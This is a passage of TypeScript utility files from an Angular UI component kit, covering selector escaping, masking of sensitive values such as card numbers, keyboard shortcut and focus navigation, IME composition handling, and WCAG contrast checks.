not caught at all.\n *\n * So: two characters, no capability probe, no environment assumptions, and one\n * spelling instead of the four this repo had grown.\n */\n\n/**\n * Escape a value for use inside a **double-quoted** attribute selector.\n *\n * Only `\"` and `\\` can end the string early, so only those are escaped. The\n * result is meaningless outside double quotes — use {@link svAttrSelector}\n * unless you are assembling something more complex by hand.\n */\nexport function svEscapeAttrValue(value: string): string {\n  return value.replace(/[\"\\\\]/g, '\\\\$&');\n}\n\n/**\n * `[attribute=\"value\"]`, with the value escaped.\n *\n * ```ts\n * root.querySelector(svAttrSelector('data-nav-item', item.id));\n * ```\n *\n * ★ Prefer this over interpolating by hand. The failure it prevents is silent\n *   in both directions: an unescaped `\"` produces a selector that throws\n *   `SyntaxError`, and an over-escaped value produces one that matches nothing\n *   and returns `null` — which every call site here already treats as \"not\n *   rendered yet\" and skips.\n */\nexport function svAttrSelector(attribute: string, value: string): string {\n  return `[${attribute}=\"${svEscapeAttrValue(value)}\"]`;\n}\n","/**\n * ============================================================================\n *  One sensitive-value policy\n * ============================================================================\n *\n * ★★★ FIVE COMPONENTS SHOW VALUES THAT ARE MONEY, ACCESS OR IDENTITY, AND EACH\n *     ONE HAD INVENTED ITS OWN ANSWER. `sv-credit-card` masked a PAN, `sv-gift-card`\n *     masked a bearer code, `sv-json-viewer` redacted keys, `sv-address-card`\n *     printed everything and `sv-phone-input` captured a number. Five spellings of\n *     \"last four\", three of \"strip the host attribute\" and no shared way for a\n *     host to say \"this session is being recorded\".\n *\n * These are the shared pieces. The policy they serve is written down in\n * `docs/sensitive-value-policy.md`, and `scripts/check-sensitive-values.mjs`\n * proves each family either enforces each point or carries a stated exemption:\n *\n *   1. masked by default\n *   2. re-authentication before a reveal\n *   3. copy auditing — an event that says a copy happened and never carries it\n *   4. no retention of the full value in public component state\n *   5. an explicit display-only (or capture) boundary in the class JSDoc\n */\nimport { InjectionToken, inject, isSignal, signal, type Provider, type Signal } from '@angular/core';\n\n/**\n * What a component reports when a sensitive value reached the clipboard.\n *\n * ★★★ THERE IS NO `text`, `value` OR `code` MEMBER, AND THERE MUST NEVER BE ONE.\n *     An audit event is written into log sinks, error reporters and analytics\n *     pipelines. A payload that carries the secret turns the audit trail into the\n *     leak it was meant to make visible. The host already holds the value — it\n *     passed it in — so the event says only who, where and whether it was masked.\n *     `check:sensitive-values` fails the build if a member with one of those\n *     names appears on this interface.\n */\nexport interface SvSensitiveCopyEvent {\n  /** The component that copied, e.g. `'sv-json-viewer'`. */\n  readonly source: string;\n  /** Which field or path was copied, e.g. `'$.headers.authorization'` or `'code'`. */\n  readonly field: string;\n  /** The copied text was a mask (or a projection containing masks), not the value. */\n  readonly redacted: boolean;\n  /** When the copy happened (epoch ms). */\n  readonly at: number;\n}\n\n/** Characters that are punctuation or spacing rather than part of the value. */\nconst SEPARATOR = /[^\\p{L}\\p{N}]/u;\n\n/**\n * The last `count` significant characters of a value — letters and digits only,\n * so `4111-1111-1111-1234` and `FRESH-GIFT-2K` yield `1234` and `FT2K` rather\n * than a tail with a hyphen in it.\n */\nexport function svLast4(value: string | null | undefined, count = 4): string {\n  if (!value) return '';\n  const significant = [...value].filter((c) => !SEPARATOR.test(c));\n  return significant.slice(-Math.max(0, count)).join('');\n}\n\n/**\n * Mask every significant character except the last `visible`, keeping the\n * value's own separators where they were.\n *\n * ★ Separators survive so the masked value has the same SHAPE as the real one:\n *   `•••• •••• •••• 1234` reads as a card number, a run of sixteen dots does not.\n *   Nothing about the value is learned from its punctuation that the reader could\n *   not already see on a physical card.\n */\nexport function svMaskTail(\n  value: string | null | undefined,\n  visible = 4,\n  maskChar = '•',\n): string {\n  if (!value) return '';\n  const chars = [...value];\n  const total = chars.filter((c) => !SEPARATOR.test(c)).length;\n  const keep = Math.max(0, Math.min(visible, total));\n  let seen = 0;\n  return chars\n    .map((c) => {\n      if (SEPARATOR.test(c)) return c;\n      seen += 1;\n      return seen <= total - keep ? maskChar : c;\n    })\n    .join('');\n}\n\n/**\n * Drop attributes carrying a sensitive value off a component's host element.\n *\n * ★★ `<sv-x code=\"…\">` is a STATIC attribute: Angular reads it from the compiled\n *    template's attribute table, so the input still receives it, but the\n *    attribute also stays in the DOM verbatim — in `outerHTML`, in DevTools and\n *    in the serialisation a session-replay tool ships. Removing it after\n *    construction costs nothing; a property binding never wrote one.\n */\nexport function svStripHostAttributes(host: Element, names: readonly string[]): void {\n  for (const name of names) host.removeAttribute(name);\n}\n\n/**\n * App-wide \"this session is recorded, screen-shared or replayed\" declaration.\n *\n * Components that display a sensitive value re-mask it while this reads `true`,\n * whatever their own per-instance opt-outs say. It is a DECLARATION, not a\n * detection: a page cannot observe a capture it did not start itself, so wire\n * it to something that knows — your own `getDisplayMedia` track, a conferencing\n * SDK's in-call flag, a session-replay tool's recording state.\n */\nexport const SV_SENSITIVE_PRIVACY = new InjectionToken<Signal<boolean>>('SV_SENSITIVE_PRIVACY');\n\n/**\n * Provide {@link SV_SENSITIVE_PRIVACY}. Pass a signal to switch it at runtime,\n * or a boolean for a fixed declaration.\n *\n * ```ts\n * bootstrapApplication(App, { providers: [provideSvSensitivePrivacy(isScreenSharing)] });\n * ```\n */\nexport function provideSvSensitivePrivacy(source: Signal<boolean> | boolean = true): Provider {\n  return {\n    provide: SV_SENSITIVE_PRIVACY,\n    useValue: isSignal(source) ? source : signal(source).asReadonly(),\n  };\n}\n\n/**\n * Read {@link SV_SENSITIVE_PRIVACY} inside an injection context, falling back to\n * a constant `false` when nothing was provided.\n */\nexport function injectSvSensitivePrivacy(): Signal<boolean> {\n  return inject(SV_SENSITIVE_PRIVACY, { optional: true }) ?? signal(false).asReadonly();\n}\n","/**\n * Where the arrow keys should move inside a composite widget.\n *\n * ── Why this is a function and not a directive ───────────────────────────────\n *\n * It answers one question — \"given this key and this position, which item is\n * next?\" — and answers it with arithmetic. It does not touch the DOM, does not\n * know how a caller finds its elements, and above all does not decide whether\n * moving focus should also SELECT the thing focused.\n *\n * That last part is the reason the split matters. In a `radiogroup` selection\n * follows focus: arrowing to an option chooses it, and that is the APG pattern.\n * In a multi-select set of filter chips it must not — arrowing past a chip that\n * silently turns itself on is a data-loss bug wearing a keyboard shortcut. Both\n * want identical movement and opposite consequences, so the movement is what is\n * shared and the consequence stays with the caller.\n *\n * ── The duplication it replaces ──────────────────────────────────────────────\n *\n * `sv-segmented-control` and `sv-radio-group` had this switch written out\n * twice, character for character apart from the attribute each uses to find its\n * buttons — same modulo wrap, same Home/End, same enabled-only filtering. A\n * chip group would have been the third copy, and the third copy is where the\n * kit usually discovers the first two had quietly drifted.\n *\n * @example\n * ```ts\n * const next = svRovingTarget(event.key, enabledOptions.length, currentIndex);\n * if (next === null) return;          // not a navigation key — let it through\n * event.preventDefault();\n * this.focusOptionAt(next);           // and select, or not, as the role requires\n * ```\n */\nexport function svRovingTarget(\n  key: string,\n  count: number,\n  current: number,\n): number | null {\n  if (count <= 0) return null;\n\n  // A `current` that is not in the list — nothing focused yet, or an item that\n  // has just been disabled out from under the cursor. Both arrow directions\n  // should still land somewhere sensible rather than computing from -1.\n  const from = current >= 0 && current < count ? current : 0;\n\n  switch (key) {\n    // Both axes, deliberately. A composite widget that is horizontal today is\n    // vertical at 400px, and a user pressing Down on a wrapped row is not\n    // making a mistake the widget should punish them for.\n    case 'ArrowRight':\n    case 'ArrowDown':\n      return (from + 1) % count;\n    case 'ArrowLeft':\n    case 'ArrowUp':\n      return (from - 1 + count) % count;\n    case 'Home':\n      return 0;\n    case 'End':\n      return count - 1;\n    default:\n      // ★ `null`, not `current`. \"No opinion\" and \"stay where you are\" are\n      //   different answers: the first lets Tab, Escape and typeahead reach the\n      //   host untouched, and the second would have the caller call\n      //   `preventDefault()` on every key it does not handle.\n      return null;\n  }\n}\n","/**\n * shortcut.ts — parsing, matching and rendering a keyboard shortcut (`X-15`).\n *\n * ★★★ THREE FAMILIES DISPLAYED SHORTCUTS AND ONE BOUND THEM, so the kit had a\n *     display vocabulary and a matching rule that could not disagree visibly\n *     and disagreed anyway: Command Palette bound `mod+k` with a hand-written\n *     matcher, Menubar and Dropdown Menu rendered `['⌘','K']` strings the host\n *     typed out by hand, and nothing checked that the thing shown was the thing\n *     bound. One parser, one matcher, one renderer.\n *\n * Pure functions, no Angular and no DOM beyond the event object, so the whole\n * matching table can be tested without a browser.\n */\n\n/** A modifier as written in a binding string. */\nexport type SvShortcutModifier = 'mod' | 'ctrl' | 'meta' | 'alt' | 'shift';\n\n/** A parsed binding. */\nexport interface SvShortcut {\n  /** Lower-cased key, e.g. `'k'`, `'enter'`, `'/'`, `'arrowdown'`. */\n  readonly key: string;\n  readonly mod: boolean;\n  readonly ctrl: boolean;\n  readonly meta: boolean;\n  readonly alt: boolean;\n  readonly shift: boolean;\n}\n\nconst MODIFIERS: readonly SvShortcutModifier[] = ['mod', 'ctrl', 'meta', 'alt', 'shift'];\n\n/**\n * Parse `'mod+shift+p'`, `'ctrl+alt+delete'`, `'?'`.\n *\n * ★★ `mod` IS THE ONLY MODIFIER WORTH WRITING for an app shortcut: ⌘ on macOS\n *    and Ctrl everywhere else. Spelling it `ctrl` ships a Windows binding to\n *    Mac users, where Ctrl+K is a system text shortcut; spelling it `meta`\n *    ships a Mac binding to Windows, where the Meta key opens the Start menu.\n *    `ctrl` and `meta` are still available for the rare binding that genuinely\n *    means one physical key on both platforms.\n *\n * Returns `null` for anything unparseable, rather than a shortcut that will\n * never fire: a binding nobody can press is a bug the registry should report,\n * not silently hold.\n */\nexport function svParseShortcut(binding: string): SvShortcut | null {\n  const raw = binding.trim().toLowerCase();\n  if (!raw) return null;\n\n  // ★ Split on '+' but keep a trailing '+' as the KEY: `'mod++'` is a real\n  //   binding (zoom in), and a naive split loses it as an empty segment.\n  const parts: string[] = [];\n  let buffer = '';\n  for (const ch of raw) {\n    if (ch === '+' && buffer !== '') {\n      parts.push(buffer);\n      buffer = '';\n    } else {\n      buffer += ch;\n    }\n  }\n  if (buffer !== '') parts.push(buffer);\n\n  const flags = { mod: false, ctrl: false, meta: false, alt: false, shift: false };\n  let key = '';\n  for (const part of parts) {\n    const asModifier = MODIFIERS.find((m) => m === part || ALIASES[part] === m);\n    if (asModifier) {\n      // ★ A modifier written twice is a typo, not an intent: `'mod+mod+k'`\n      //   would otherwise parse the second `mod` as the key and produce a\n      //   binding that can never fire.\n      if (flags[asModifier]) return null;\n      flags[asModifier] = true;\n      continue;\n    }\n    if (key !== '') return null; // two keys is not a shortcut\n    key = part;\n  }\n  if (key === '') return null;\n  return { key, ...flags };\n}\n\n/** Accepted spellings for the modifiers. */\nconst ALIASES: Record<string, SvShortcutModifier> = {\n  cmd: 'meta',\n  command: 'meta',\n  control: 'ctrl',\n  option: 'alt',\n  opt: 'alt',\n  super: 'meta',\n  win: 'meta',\n};\n\n/** Does this keyboard event press this shortcut? */\nexport function svMatchesShortcut(\n  event: Pick<KeyboardEvent, 'key' | 'ctrlKey' | 'metaKey' | 'altKey' | 'shiftKey'>,\n  shortcut: SvShortcut,\n  isMac: boolean,\n): boolean {\n  if (event.key.toLowerCase() !== shortcut.key) return false;\n\n  const wantCtrl  = shortcut.ctrl || (shortcut.mod && !isMac);\n  const wantMeta  = shortcut.meta || (shortcut.mod && isMac);\n\n  if (event.ctrlKey  !== wantCtrl)  return false;\n  if (event.metaKey  !== wantMeta)  return false;\n  if (event.altKey   !== shortcut.alt) return false;\n  if (event.shiftKey !== shortcut.shift) return false;\n\n  // ★★★ ALTGR IS REPORTED AS CTRL+ALT, and on Windows and Linux it is the key\n  //     German, Polish, Turkish and Nordic layouts use for @ [ ] { } \\ € and\n  //     a great many letters. A `mod`-based binding must never fire for it:\n  //     the palette used to open while `preventDefault()` swallowed the\n  //     character the user was typing.\n  //\n  // ★★ MOST OF THAT PROTECTION IS THE EXACT MODIFIER COMPARISON ABOVE, not\n  //    this line: `mod+k` asks for altKey false, and AltGr sets it, so it\n  //    already does not match. What this line adds is the ONE case exact\n  //    matching cannot see — `mod+alt+X`, which on Windows IS AltGr+X. Such a\n  //    binding can only ever fire by intercepting a character key, so on\n  //    those platforms it does not fire at all.\n  //\n  // ★ `ctrl+alt+X` spelled out explicitly is exempt, and that is the escape\n  //   hatch: the host named both physical modifiers rather than asking for\n  //   \"the platform key\", so it means them.\n  if (!isMac && shortcut.mod && shortcut.alt) return false;\n\n  return true;\n}\n\n/** Elements whose keystrokes belong to the user's text, not to a shortcut. */\nconst TEXT_ENTRY = /^(input|textarea|select)$/i;\n\n/**\n * Is this event coming from somewhere the user is typing?\n *\n * ★★ A BARE-KEY SHORTCUT IS UNUSABLE WITHOUT THIS. `?` for help and `/` for\n *    search are the two commonest app shortcuts there are, and without this\n *    check they fire while the user types a question mark into a comment box —\n *    swallowing the character and opening a dialog over what they were\n *    writing. A modifier-based binding is mostly safe by construction, which\n *    is why this is only consulted for bindings that ask for it.\n */\nexport function svIsTextEntryTarget(target: EventTarget | null): boolean {\n  if (!target || !(target as Partial<HTMLElement>).tagName) return false;\n  const el = target as HTMLElement;\n  if (TEXT_ENTRY.test(el.tagName)) {\n    // A disabled or readonly field is not somewhere the user is typing.\n    const field = el as HTMLInputElement;\n    return !field.disabled && !field.readOnly;\n  }\n  return el.isContentEditable === true;\n}\n\n/** How a shortcut is written out for a reader. */\nexport interface SvShortcutTokensOptions {\n  /** Render ⌘ / ⌥ / ⌃ instead of Ctrl / Alt. */\n  readonly isMac: boolean;\n}\n\nconst MAC_SYMBOLS: Record<string, string> = {\n  mod: '⌘', meta: '⌘', ctrl: '⌃', alt: '⌥', shift: '⇧',\n};\nconst PC_LABELS: Record<string, string> = {\n  mod: 'Ctrl', meta: 'Win', ctrl: 'Ctrl', alt: 'Alt', shift: 'Shift',\n};\n\n/** Keys whose names are read as words rather than as their character. */\nconst KEY_LABELS: Record<string, string> = {\n  arrowup: '↑', arrowdown: '↓', arrowleft: '←', arrowright: '→',\n  enter: 'Enter', escape: 'Esc', backspace: 'Backspace', delete: 'Del',\n  tab: 'Tab', ' ': 'Space', space: 'Space',\n};\n\n/**\n * Render a binding as display tokens: `['⌘', 'K']` or `['Ctrl', 'K']`.\n *\n * ★★ ORDER IS FIXED AND IT IS THE PLATFORM'S ORDER, not the order the binding\n *    was written in. `'shift+mod+p'` and `'mod+shift+p'` are one shortcut, and\n *    a reader who sees ⇧⌘P in one menu and ⌘⇧P in another has to work out that\n *    they are the same thing.\n *\n * ★ Returns tokens rather than a string so a caller can render each in its own\n *   `<kbd>`, which is what makes a shortcut readable at a glance — and\n *   joining them is one `.join('')` away for the callers that want text.\n */\nexport function svShortcutTokens(\n  binding: string,\n  options: SvShortcutTokensOptions,\n): readonly string[] {\n  const parsed = svParseShortcut(binding);\n  if (!parsed) return [];\n  const symbols = options.isMac ? MAC_SYMBOLS : PC_LABELS;\n  const tokens: string[] = [];\n  // macOS convention: ⌃⌥⇧⌘ then the key. Windows: Ctrl, Alt, Shift, then key.\n  if (options.isMac) {\n    if (parsed.ctrl) tokens.push(symbols['ctrl']);\n    if (parsed.alt) tokens.push(symbols['alt']);\n    if (parsed.shift) tokens.push(symbols['shift']);\n    if (parsed.mod || parsed.meta) tokens.push(symbols['mod']);\n  } else {\n    if (parsed.mod || parsed.ctrl) tokens.push(symbols['ctrl']);\n    if (parsed.meta && !parsed.mod) tokens.push(symbols['meta']);\n    if (parsed.alt) tokens.push(symbols['alt']);\n    if (parsed.shift) tokens.push(symbols['shift']);\n  }\n  tokens.push(KEY_LABELS[parsed.key] ?? (parsed.key.length === 1 ? parsed.key.toUpperCase() : titleCase(parsed.key)));\n  return tokens;\n}\n\nfunction titleCase(value: string): string {\n  return value.charAt(0).toUpperCase() + value.slice(1);\n}\n\n/**\n * The canonical form of a binding, for comparing two of them.\n *\n * ★ `'shift+mod+p'` and `'mod+shift+p'` are the same shortcut, so conflict\n *   detection cannot compare the strings a host wrote — it compares these.\n */\nexport function svShortcutId(binding: string): string | null {\n  const parsed = svParseShortcut(binding);\n  if (!parsed) return null;\n  const flags = MODIFIERS.filter((m) => parsed[m]).join('+');\n  return flags ? `${flags}+${parsed.key}` : parsed.key;\n}\n","/**\n * ============================================================================\n *  Keyboard at scale — the one contract for long collections (`X-10`)\n * ============================================================================\n *\n * A virtual list with 50,000 rows cannot have 50,000 tab stops. Every\n * collection family in the kit (List View, Tree, Data Table, Transfer, Kanban)\n * answers the same four questions the same way:\n *\n * 1. **One tab stop per collection.** Roving tabindex: the active item carries\n *    `tabindex=\"0\"`, every other item `-1`. Tab enters the collection once and\n *    leaves it once, however many rows it holds. A container that wraps roving\n *    items is NOT itself a second tab stop.\n * 2. **Arrows, Home/End** move one item / to the ends — {@link svRovingTarget}\n *    semantics, except that arrows **clamp** at the ends by default (the APG\n *    listbox, tree and grid patterns do not wrap, and every collection in the\n *    kit already clamped — wrapping would be a behaviour change). A widget that\n *    wants wrapping passes `wrap: true`.\n * 3. **PageUp/PageDown** jump by a page and **clamp** at the ends — they never\n *    wrap. A page jump that wrapped from row 49,990 to row 8 would throw the\n *    reader to the other end of the data without telling them.\n * 4. **Typeahead**: printable characters typed within a short window form a\n *    prefix; focus moves to the next item whose label starts with it\n *    ({@link createTypeahead}).\n *\n * ── The documented ceiling ──────────────────────────────────────────────────\n * A collection that renders every row (not virtualized) keeps one tab stop, but\n * its DOM still grows with the data. {@link SV_UNVIRTUALIZED_ROW_CEILING} is the\n * number of rendered rows past which a family either virtualizes, paginates, or\n * warns in development mode. It is a documented limit, not a hard cap: nothing\n * is truncated, the host is told.\n *\n * Movement only. Whether moving focus also selects is the caller's decision —\n * see `roving.ts` for why that split matters.\n */\nimport { svWarnOnce } from '../dev/warn-once';\nimport { svRovingTarget } from './roving';\nimport { svIsTextEntryTarget } from './shortcut';\n\n/**\n * The number of rows an un-virtualized collection renders before the kit\n * considers it past its keyboard/DOM budget. Above it a family virtualizes, is\n * paginated (the page size is then the ceiling), or warns once in dev mode.\n */\nexport const SV_UNVIRTUALIZED_ROW_CEILING = 2000;\n\n/** Options for {@link svCollectionTarget}. */\nexport interface SvCollectionTargetOptions {\n  /**\n   * How many items PageUp/PageDown move. Usually the number of rows visible in\n   * the viewport. Values below 1 are treated as 1. @default 10\n   */\n  readonly pageSize?: number;\n  /**\n   * Whether ArrowUp/ArrowDown (and Left/Right) wrap from one end to the other,\n   * as {@link svRovingTarget} does. Page keys never wrap. @default false\n   */\n  readonly wrap?: boolean;\n}\n\n/**\n * Where a key should move focus inside a long collection.\n *\n * Arrows move one item (clamped, or wrapping with `wrap: true`), Home and End\n * go to the ends. PageUp/PageDown move by `pageSize` and clamp at the first /\n * last item — always.\n *\n * @returns the target index, or `null` when the key is not a navigation key —\n * let it through untouched.\n */\nexport function svCollectionTarget(\n  key: string,\n  count: number,\n  current: number,\n  options: SvCollectionTargetOptions = {},\n): number | null {\n  if (count <= 0) return null;\n  const from = current >= 0 && current < count ? current : 0;\n  const page = Math.max(1, Math.floor(options.pageSize ?? 10));\n  switch (key) {\n    case 'PageDown':\n      return Math.min(count - 1, from + page);\n    case 'PageUp':\n      return Math.max(0, from - page);\n    case 'ArrowDown':\n    case 'ArrowRight':\n      if (!options.wrap) return current >= 0 && current < count ? Math.min(count - 1, from + 1) : 0;\n      return svRovingTarget(key, count, current);\n    case 'ArrowUp':\n    case 'ArrowLeft':\n      if (!options.wrap) return current >= 0 && current < count ? Math.max(0, from - 1) : count - 1;\n      return svRovingTarget(key, count, current);\n    default:\n      return svRovingTarget(key, count, current);\n  }\n}\n\n/** Options for {@link createTypeahead}. */\nexport interface SvTypeaheadOptions<T> {\n  /** The text an item is matched by — usually its visible label. */\n  readonly labelOf: (item: T) => string;\n  /** How long a pause resets the typed prefix, in ms. @default 500 */\n  readonly timeoutMs?: number;\n  /** Clock seam for tests. @default Date.now */\n  readonly now?: () => number;\n}\n\n/** A typeahead buffer; see {@link createTypeahead}. */\nexport interface SvTypeahead<T> {\n  /**\n   * Feed one key. Returns the index of the item to focus, or `null` when the\n   * key is not a typeahead character or nothing matches.\n   */\n  handle(key: string, items: readonly T[], current: number): number | null;\n  /** Forget the typed prefix. */\n  reset(): void;\n}\n\n/**\n * True for a single printable character with no modifier, typed somewhere that\n * is not a text field — the keys typeahead listens to.\n */\nexport function svIsTypeaheadKey(\n  event: Pick<KeyboardEvent, 'key' | 'ctrlKey' | 'metaKey' | 'altKey'> & { readonly target?: EventTarget | null },\n): boolean {\n  if (event.key.length !== 1 || event.key === ' ' || event.ctrlKey || event.metaKey || event.altKey) return false;\n  const target = event.target ?? null;\n  // A checkbox or radio is an `<input>`, but nothing is typed into it — a\n  // transfer pane of checkboxes is exactly where typeahead is wanted.\n  const input = target as Partial<HTMLInputElement> | null;\n  if (input?.tagName === 'INPUT' && NON_TEXT_INPUTS.has(String(input.type))) return true;\n  return !svIsTextEntryTarget(target);\n}\n\nconst NON_TEXT_INPUTS = new Set(['checkbox', 'radio', 'button', 'submit', 'reset', 'range', 'color', 'file', 'image']);\n\n/**\n * Typeahead for a collection: type \"ma\" quickly to reach \"Marketing\".\n *\n * - Matching is case-insensitive and prefix-based.\n * - The search starts AFTER the current item and wraps, so typing the same\n *   letter repeatedly cycles through every item starting with it.\n * - A pause longer than `timeoutMs` starts a new prefix.\n *\n * Pure: no timers, no DOM. The caller decides whether the key was eligible\n * (see {@link svIsTypeaheadKey}) and what \"focus index\" means.\n */\nexport function createTypeahead<T>(options: SvTypeaheadOptions<T>): SvTypeahead<T> {\n  const timeout = options.timeoutMs ?? 500;\n  const now = options.now ?? Date.now;\n  let buffer = '';\n  let last = 0;\n\n  return {\n    handle(key, items, current) {\n      if (key.length !== 1 || items.length === 0) return null;\n      const t = now();\n      if (t - last > timeout) buffer = '';\n      last = t;\n      const char = key.toLowerCase();\n      // Repeating one letter cycles; a longer prefix refines.\n      const repeating = buffer.length > 0 && [...buffer].every((c) => c === char);\n      buffer = repeating ? char : buffer + char;\n      const prefix = buffer;\n      const count = items.length;\n      const start = repeating || prefix.length === 1 ? current + 1 : current;\n      for (let i = 0; i < count; i++) {\n        const index = (((start + i) % count) + count) % count;\n        if (options.labelOf(items[index]).trim().toLowerCase().startsWith(prefix)) return index;\n      }\n      return null;\n    },\n    reset() {\n      buffer = '';\n      last = 0;\n    },\n  };\n}\n\n/**\n * Dev-mode warning, once per `family`, when a collection renders more than\n * {@link SV_UNVIRTUALIZED_ROW_CEILING} rows without virtualization. Silent in\n * production and when `virtualized` is true.\n *\n * @returns whether the collection is past the ceiling (useful in tests).\n */\nexport function svWarnUnvirtualizedCeiling(family: string, rendered: number, virtualized: boolean): boolean {\n  if (virtualized || rendered <= SV_UNVIRTUALIZED_ROW_CEILING) return false;\n  svWarnOnce(\n    `collection-ceiling:${family}`,\n    `${family} renders ${rendered} rows without virtualization — past the documented ceiling of ` +\n      `${SV_UNVIRTUALIZED_ROW_CEILING}. Turn virtualization on, or paginate, to keep the keyboard ` +\n      `and DOM budget. Keyboard navigation still has one tab stop.`,\n  );\n  return true;\n}\n","import { signal, type Signal } from '@angular/core';\n\n/**\n * IME composition: whose keystrokes these are.\n *\n * ── The defect this exists for (`FI-14-I2` / `FI-14-M1`) ────────────────────\n *\n * ★★★ `Enter` DURING COMPOSITION MEANS \"ACCEPT THIS CANDIDATE\", NOT \"CHOOSE\n *     THIS MENU ITEM\". A Japanese or Korean user typing a name presses `Enter`\n *     to confirm the kana→kanji conversion the IME is offering. A mention panel\n *     that treats `Enter` as its own inserts somebody — often the wrong somebody\n *     — into the document at the exact moment the user was committing a word.\n *     `ArrowUp`/`ArrowDown` are the same story: those move through the IME's\n *     candidate list, and a component that steals them makes the candidate list\n *     unusable while a panel is open.\n *\n * ★★ AND THE PANEL SHOULD NOT BE OPEN AT ALL. `input` fires throughout a\n *    composition, carrying phonetic text nobody has committed to — so a trigger\n *    scan runs against `ｔ`, then `て`, then `てす`, opening a panel and firing a\n *    server query per keystroke of a word that does not exist yet.\n *\n * ── Why a guard and not a boolean in each component ─────────────────────────\n *\n * Two components need exactly this — `sv-mention` and `sv-rich-text-editor` —\n * and the second copy of a rule like this drifts from the first. The same\n * argument as `svRovingTarget`, and the same shape: the guard answers \"are these\n * keystrokes mine?\" and each component decides what to do about the answer.\n */\nexport interface SvCompositionGuard {\n  /** True between `compositionstart` and `compositionend`. */\n  readonly composing: Signal<boolean>;\n  /** Bind to `(compositionstart)`. */\n  start(): void;\n  /**\n   * Bind to `(compositionend)`. Returns `true` so the caller can re-scan once,\n   * now that there is a committed word to scan.\n   */\n  end(): boolean;\n  /**\n   * Whether this key event belongs to the IME rather than to the component.\n   *\n   * ★★ `keyCode === 229` IS NOT LEGACY CRUFT. It is the value browsers report\n   *    for a key consumed by an IME, and on several of them it is the ONLY\n   *    signal during the first keystroke of a composition — `isComposing` is\n   *    still `false` because `compositionstart` has not fired yet. Checking one\n   *    of the two catches most compositions and lets the first character\n   *    through, which is the character that opens the panel.\n   */\n  blocks(event: KeyboardEvent): boolean;\n}\n\nexport function createCompositionGuard(): SvCompositionGuard {\n  const composing = signal(false);\n  return {\n    composing,\n    start: () => composing.set(true),\n    end: () => { composing.set(false); return true; },\n    blocks: (event: KeyboardEvent) =>\n      composing() || event.isComposing === true || event.keyCode === 229,\n  };\n}\n","/**\n * The caret position under a viewport point, as a collapsed `Range` — what a\n * drop handler needs once it has cancelled the browser's own drop and has to\n * put the content where the pointer let go (`X-4`, `FI-14-M3`).\n *\n * ★★ TWO ENGINE APIS, ONE WRITER. `caretPositionFromPoint` is the standard\n *    (Gecko, and Blink/WebKit since 2024); `caretRangeFromPoint` is what older\n *    WebKit and Blink have. Shared by `sv-mention` and `sv-rich-text-editor`\n *    so the fallback order is decided once. Browser-sensitive: registered in\n *    `mention.dom-deps.ts` and watched by `check:ui`.\n *\n * ⚠️ `null` WHEN NEITHER EXISTS (jsdom, SSR) or the point hits nothing. The\n *    caller decides what \"no drop point\" means — both callers fall back to the\n *    current caret, which is where a paste would go.\n */\nexport function svCaretRangeFromPoint(x: number, y: number, doc: Document = document): Range | null {\n  const d = doc as Document & {\n    caretPositionFromPoint?: (x: number, y: number) => { offsetNode: Node; offset: number } | null;\n    caretRangeFromPoint?: (x: number, y: number) => Range | null;\n  };\n  if (typeof d.caretPositionFromPoint === 'function') {\n    const pos = d.caretPositionFromPoint(x, y);\n    if (!pos) return null;\n    const range = doc.createRange();\n    range.setStart(pos.offsetNode, pos.offset);\n    range.collapse(true);\n    return range;\n  }\n  return typeof d.caretRangeFromPoint === 'function' ? d.caretRangeFromPoint(x, y) : null;\n}\n","/**\n * WCAG 2.x contrast, and saying a colour out loud.\n *\n * ── Why this is in `core` and not in the component that needed it ───────────\n *\n * ★★★ THE KIT ALREADY HAD THIS LOGIC, IN THE APP. `theme-builder.color.ts`\n *     carries a complete, tested WCAG audit — and it lives in\n *     `src/app/pages/theme-builder/`, which no library can import. So the colour\n *     picker's own contrast item (`FI-08-M1`) was one `Ctrl-C` away from\n *     becoming the kit's second contrast checker, which is exactly how two\n *     implementations drift until a designer's audit and a component's badge\n *     disagree about the same pair of colours.\n *\n *     The functions moved here and the theme builder re-exports them. One\n *     definition, two callers, and the app's existing specs cover it.\n *\n * ── Scope: WCAG 2.x, not APCA ───────────────────────────────────────────────\n *\n * ⚠️ The 4.5:1 / 3:1 ratios are the thresholds an auditor, a procurement\n *    questionnaire and a lawsuit will use, so this reports those. APCA is better\n *    perceptual science and is not what anyone is measured against yet; when it\n *    is, it belongs beside this rather than replacing it silently.\n */\n\n/** Red, green, blue — each 0–255. */\nexport interface SvRgb {\n  readonly r: number;\n  readonly g: number;\n  readonly b: number;\n}\n\nconst srgbToLinear = (c: number): number =>\n  c <= 0.04045 ? c / 12.92 : ((c + 0.055) / 1.055) ** 2.4;\n\n/** True for `#abc`, `#aabbcc`, with or without the leading `#`, any case. */\nexport function svIsValidHex(value: string): boolean {\n  return /^#?[0-9a-f]{3}([0-9a-f]{3})?$/i.test(value.trim());\n}\n\n/** Expands a 3-digit shorthand to 6 digits and ensures a leading `#`, lowercased. */\nexport function svNormalizeHex(value: string): string {\n  let v = value.trim().toLowerCase();\n  if (!v.startsWith('#')) v = `#${v}`;\n  if (v.length === 4) v = `#${v[1]}${v[1]}${v[2]}${v[2]}${v[3]}${v[3]}`;\n  return v;\n}\n\nexport function svHexToRgb(hex: string): SvRgb {\n  const h = svNormalizeHex(hex);\n  return {\n    r: parseInt(h.slice(1, 3), 16),\n    g: parseInt(h.slice(3, 5), 16),\n    b: parseInt(h.slice(5, 7), 16),\n  };\n}\n\nexport function svRelativeLuminance({ r, g, b }: SvRgb): number {\n  const [lr, lg, lb] = [r, g, b].map((v) => srgbToLinear(v / 255));\n  return 0.2126 * lr + 0.7152 * lg + 0.0722 * lb;\n}\n\n/** WCAG contrast ratio between two hex colours — 1 (identical) to 21 (black on white). */\nexport function svContrastRatio(foregroundHex: string, backgroundHex: string): number {\n  const a = svRelativeLuminance(svHexToRgb(foregroundHex));\n  const b = svRelativeLuminance(svHexToRgb(backgroundHex));\n  const [hi, lo] = a > b ? [a, b] : [b, a];\n  return (hi + 0.05) / (lo + 0.05);\n}\n\nexport type SvWcagGrade = 'AAA' | 'AA' | 'AA Large' | 'Fail';\n\n/**\n * The strongest grade a ratio earns for normal-size text, or `AA Large` when it\n * only clears the 3:1 bar that applies to ≥18.66px bold / ≥24px text and to\n * non-text UI boundaries.\n */\nexport function svWcagGrade(ratio: number): SvWcagGrade {\n  if (ratio >= 7) return 'AAA';\n  if (ratio >= 4.5) return 'AA';\n  if (ratio >= 3) return 'AA Large';\n  return 'Fail';\n}\n\n/**\n * Rounded the way an audit tool prints it.\n *\n * ★★ FLOORED, NEVER ROUNDED UP PAST A THRESHOLD. 